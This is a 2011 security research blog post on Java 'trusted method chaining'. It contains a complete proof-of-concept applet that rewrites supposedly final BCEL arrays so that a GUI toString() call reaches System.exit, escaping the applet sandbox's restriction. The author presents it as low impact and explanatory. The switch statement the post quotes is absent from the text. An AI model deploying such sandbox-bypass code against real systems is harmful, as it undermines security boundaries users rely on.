Sunday, January 30, 2011

Trusted Method Chaining to a System.exit

More details on the chaining instance I mentioned in my talk. This one is not a remote code execution vulnerability, it simply about calling System.exit from an applet (which shouldn't be allowed, but doesn't really do anything interesting). It might be remotely possible that this could be used for a DoS in some marginal SecurityManager scenario.

The idea is to create a chain from an object's toString() method to com.sun.org.apache.bcel.internal.classfile.Utility.codeToString(), which has this confusing switch statement:


That logic relies on a bunch of final arrays from a class named Constant. In Java Security 101 we learn that the data in final arrays isn't final at all, and so in this case the data can be modified in such a way that the execution reaches the impossible-to-reach block which calls System.exit. Now all that remains is getting trusted code to call the above piece of code. The chain to do that is as follows:

-Have the GUI draw an instance of com.sun.org.apache.bcel.internal.classfile.Code, calling the toString() method of the object

-The toString() method calls Utility.codeToString()

-Utility.codeToString() has the above piece of code

The code to do that:

001 package ex6.chaining.systemexit;
002 
003 import java.applet.Applet;
004 
005 import javax.swing.JList;
006 
007 import com.sun.org.apache.bcel.internal.Constants;
008 import com.sun.org.apache.bcel.internal.classfile.Attribute;
009 import com.sun.org.apache.bcel.internal.classfile.Code;
010 import com.sun.org.apache.bcel.internal.classfile.CodeException;
011 import com.sun.org.apache.bcel.internal.classfile.Constant;
012 import com.sun.org.apache.bcel.internal.classfile.ConstantPool;
013 
014 public class Example extends Applet {
015     public void start() {
016         // modify the final array elements
017         Constants.NO_OF_OPERANDS[0] = 1;
018         Constants.TYPE_OF_OPERANDS[0] = new short[1];
019         byte[] codebytes = new byte[] {0, 0, 0};
020         Code code = new Code(1, 1, 0, 0, codebytes, new CodeException[0], new Attribute[0], new ConstantPool(new Constant[0]));
021         JList list = new JList(new Object[] {code});
022         this.add(list);
023     }
024 }

No comments: